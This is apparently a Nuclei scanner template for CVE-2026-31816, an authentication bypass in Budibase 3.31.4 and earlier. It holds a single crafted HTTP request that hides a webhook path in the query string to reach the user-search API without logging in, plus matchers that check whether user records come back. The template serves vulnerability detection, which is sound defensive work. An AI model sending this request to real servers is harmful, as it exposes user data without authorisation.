id: CVE-2026-31816

info:
  name: Budibase - Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
  impact: |
    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.
  remediation: |
    Update to a version later than 3.31.4 or latest available version.
  reference:
    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-31816
    epss-score: 0.16947
    epss-percentile: 0.95058
    cwe-id: CWE-74
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated

http:
  - raw:
      - |
        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-budibase-app-id: {{app_id}}

        {"query":{},"limit":1000}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "email", "roleId", "status")'
        condition: and
# digest: 4b0a00483046022100e4522aa29a383af37894b95f0dbe25d9a1b4a06ab863d008c348d501e1b1794a022100e5d89e50795acedcf9ffc3d8c1d473316c9dda24f1ebbeb2ca234ddc7ae443a4:922c64590222798bb761d5b6d8e72950